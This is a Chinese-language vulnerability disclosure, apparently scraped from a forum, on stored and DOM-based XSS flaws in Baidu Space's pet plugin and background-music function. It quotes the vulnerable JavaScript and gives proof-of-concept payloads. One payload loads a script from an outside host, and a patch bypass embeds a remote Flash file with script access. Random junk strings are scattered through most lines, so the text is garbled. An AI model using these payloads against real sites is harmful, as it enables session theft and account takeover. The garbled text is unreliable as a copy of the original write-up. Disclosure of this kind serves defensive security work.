百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
4 t w% l+ s8 N+ `8 e) I" F" i" u0 O( \4 A: Q3 L, v% C6 ^& l% b/ t
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
& z4 p! c$ g$ X# d, s& q R' o6 \2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 2 G) }! P f8 u* J+ ]
+ J9 ], ^% Q) b, r
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
$ Z V: v9 P7 W `其中BdUtil.insertWBR为
$ v; s' H2 T5 J1 D9 kfunction(text, step) { ( o2 `( C) Z, J
var textarea = textAreaCache || getContainer(); # m1 b7 P1 p! s: d
if (!textarea) {
0 F- ? }2 T4 P% J return text; " V2 e6 f2 u) q: Y5 f6 o
} % B# L3 k+ ^; f
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
4 j5 u2 j8 F l: i& q var string = textarea.value; - o& G, {8 [' A1 T. z/ H# C
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 2 P/ Z) E+ B; s( ]1 P
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 5 f( y$ ^1 W& X5 f" q
return result;
2 a; \5 P; t; \$ D3 T5 U* m2 b}
8 _! _5 o& E2 G) b z) u在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 4 F5 e I4 ~9 r1 F7 h$ i# O
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 9 C: G I- M' u; B& j; N
1 G7 O( `" {- m4 W* r: W1 S
二:creatbgmusic() Dom-Xss Bug
* o$ m3 O3 |, ~/ q0 a# _$ h) k, @百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
# W$ Z! o1 d7 g% E0 U* W0 K7 ~1 W2 e# Y6 A! S2 x* T
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
6 r& ^+ z- x# q9 B- P% Q& `' Q; N8 f7 e) u7 T P% B
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { # i" G! |9 p6 a- i+ e9 d4 F
//传入的murl赋值到bgmusic1和bgmusic2中
' x5 \+ X3 n9 R# R //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
0 Y( S+ ?8 a8 T7 E x var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
& Z W1 S0 i5 t2 _2 U if (musicnum <= 1) { ! G/ X. A# y4 ]% \% v/ V3 @+ b
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
9 {& `2 h6 s& X& |2 R4 t7 M$ u+ m! z } / \$ z! ], G! Y: K
bgmusic1 += "</OBJECT>"; 5 Z( T8 j3 Z4 t5 `
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
; x$ h! s! R- `- D if (musicnum <= 1) {
/ {, A7 j* @+ [- Q3 z ~& l bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
0 ~- J3 M9 J- |4 o. O; N }
% r& d4 A7 s9 n2 W+ E% G$ V bgmusic2 += "> </EMBED>"; - C c# r! k M/ L
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
5 i/ t) e4 q9 Z$ d! y8 M9 [ var bgmus = detectWMP(); * y( C% _, Z9 a E/ S& ^
if (functype == "FckMusicHelper") {
( h3 t' E/ J0 S' n+ X if (bgmus.installed) {
4 v+ w: P8 g* _ if (bgmus.type == "IE") { " _9 H* }( k- k- t/ s
return bgmusic1;
8 l# |- W8 W& A* V } else if (bgmus.type == "NS") {
+ x7 F1 B9 v# e# { return bgmusic2;
' Z: \/ K2 ~ i# {; x' v } & v) e7 w* g1 u) l& m
} else {
1 N: `" i4 Z8 ?6 y( }' | return bgmusic3;
% r( G7 C8 n C+ _* T4 h, ? }
: v; A# R7 p7 R$ Y7 A } else { ; {1 P# V1 q/ e9 ^+ `( P& H d" q
if (bgmus.installed) {
% D3 P% S4 ^7 w0 }: G" o //document.write 直接输出bgmusic变量 导致xss ; _6 Z: U2 w$ c
if (bgmus.type == "IE") {
+ C0 ~/ {- n4 Q# f9 } document.write(bgmusic1); , K8 M E% ?5 l; k' O: A
} else if (bgmus.type == "NS") {
R4 l# A: w0 ^2 l document.write(bgmusic2);
4 q! a$ p6 X; ]2 c' O }
0 ?8 X* ?- M. J5 l% l/ n% R } else {
, k7 h7 Y$ S, ^, B document.write(bgmusic3);
/ E7 v4 [) l# w4 u: i/ d8 B2 p }
6 ]8 E1 a |8 ?, N& C7 o$ [$ A return "";
0 s3 b9 r: ]: ?3 C } & @4 T0 v5 L; j- ? e' w* S
}
! c$ K6 Q7 p% b9 s: g1 U1 L" b
, Y; y: a: H# \" w9 A在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
: N5 r; `+ ?; `9 G% _- F* X/ O" m/ z3 E1 ]5 d) {/ d
function initBlogTextForFCK(){ # z8 M9 q/ l$ j. e6 \
//fck init music
: y. N2 I- L5 M5 E) Hif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 6 X, ^5 p) \: C7 r5 z
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' l! h8 G' L/ k# f) [9 p( Cvar isAutoPlay=true;
# e: e3 c+ n' F; i( r+ z8 T; ufor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
; q+ I4 F1 \/ w$ X0 s var img=imgBox; : u. z* _# K5 `. I
if(img.getAttribute(’rel’)){
$ ?+ P" t9 ~& i9 `1 z4 o. e var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc $ ]! Q3 {- z5 }# C
var musicDiv = document.createElement("SPAN"); 8 S7 Q: e# s0 W$ ~# N% C
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ! p" n* q+ R# U/ X
) r$ l# `; O: ]* H6 U .......................... " R$ n$ }+ H* y" Z" e8 @. S
: i; }5 x+ V1 X4 r$ C+ c. Z' c
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. # b( R8 o7 C: p6 e8 _; a
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
: M- c. p9 u" \. f8 v shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); + x" o# J7 r3 w) s5 [ H: Y
musicDiv.innerHTML=shtml; + w0 g7 a! L3 N* u4 V
i--;n--; * _! e+ p" q6 E7 }! x
}
$ A2 e" ^% x1 N: a( e/ N} 4 _0 [) \, b9 U6 d' d- _
6 X9 g( t8 O9 I7 _. P- J3 w
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. # t v- D" w8 W- @- }& s$ z" j! h3 }
; O; g; U& e0 u5 d6 a
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
: y& H& B, V" N) U' X; {5 {4 P2 I5 o# K/ w( }" k
等待官方补丁
) J' F0 X6 Y- D3 f" r* c/ _+ s4 ^- e- d: j; p( i/ A3 u9 e
update 2010年5月13日 7 R( ]' A3 k7 L7 B9 e* S! k# U, O
/ c- G( o7 l% H, x- F3 f官方补丁:
! D. p3 B7 z+ L! d& z0 _8 `( X2 d* _. B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ! J4 a% R, A* i2 h
改为: " f8 e4 [) i7 g& ]7 q# x
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
1 [3 X `" i/ K* g O( K) O2 m3 U: H! ^9 A4 o
update 2010年5月13日 21:50:37 , {4 u6 N) y7 @, T; B
; \$ _' O) h# [* S6 K% c7 J6 n B, n
补丁存在漏洞 没有过滤" 可以继续跨:
0 _% w7 L/ c: }/ D9 U, j4 ?. u. T6 l' ]
NEW POC: ( {+ Q5 h1 o& v0 o" K- z. J5 r" h- V3 S
) w4 W! q" ~$ _2 O7 [% R6 ^+ z
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
8 m0 y: t- t* k! L& L$ E, H" ~% t
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
1 O4 T' Q; `1 N, G & E' T; W, v. m/ N6 B, e+ e( Z
|